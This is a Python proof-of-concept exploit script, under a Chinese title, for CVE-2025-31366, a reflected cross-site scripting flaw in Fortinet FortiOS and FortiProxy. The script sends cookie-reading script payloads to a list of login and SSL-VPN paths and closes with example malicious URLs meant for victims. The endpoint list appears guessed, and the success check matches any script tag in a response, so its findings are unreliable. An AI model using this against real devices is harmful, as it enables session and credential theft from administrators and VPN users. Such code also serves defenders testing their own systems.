CVE-2025-31366 Fortinet FortiOS/FortiProxy 反射型XSS漏洞

# CVE-2025-31366 - Fortinet FortiOS/FortiProxy Reflected XSS PoC # Vulnerability: Improper Neutralization of Input During Web Page Generation (CWE-79) # Affected: FortiOS 6.4-7.6.3, FortiProxy 7.0-7.6.3, FortiSASE 25.2.a import requests import urllib.parse TARGET_URL = "https://target-fortinet-device" # Reflected XSS payload - injected via URL parameter XSS_PAYLOAD = "<script>alert(document.cookie)</script>" # Common vulnerable endpoints in Fortinet devices VULNERABLE_PATHS = [ "/remote/login", "/remote/fgt_lang", "/sslvpn_logon.shtml", "/login", "/remote/logincheck" ] def craft_xss_url(target, path, param_name, payload): """Craft a malicious URL with XSS payload in the parameter""" encoded_payload = urllib.parse.quote(payload) malicious_url = f"{target}{path}?{param_name}={encoded_payload}" return malicious_url def exploit(target_url, path, param_name="redirect"): """Send crafted XSS request to the target""" url = craft_xss_url(target_url, path, param_name, XSS_PAYLOAD) print(f"[*] Malicious URL: {url}") try: # Send request - the payload will be reflected in the response response = requests.get(url, verify=False, timeout=10) print(f"[*] Status Code: {response.status_code}") # Check if payload is reflected in response if XSS_PAYLOAD in response.text or "<script>" in response.text: print("[+] XSS payload reflected in response - VULNERABLE!") return True else: print("[-] Payload not reflected - may be patched") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": requests.packages.urllib3.disable_warnings() for path in VULNERABLE_PATHS: print(f"\n[*] Testing endpoint: {path}") exploit(TARGET_URL, path) # Example malicious URL that could be sent to a victim: # https://victim-fortigate/remote/login?redirect=javascript:alert(document.cookie) # https://victim-fortigate/sslvpn_logon.shtml?lang=en%22%3E%3Cscript%3Ealert(1)%3C/script%3E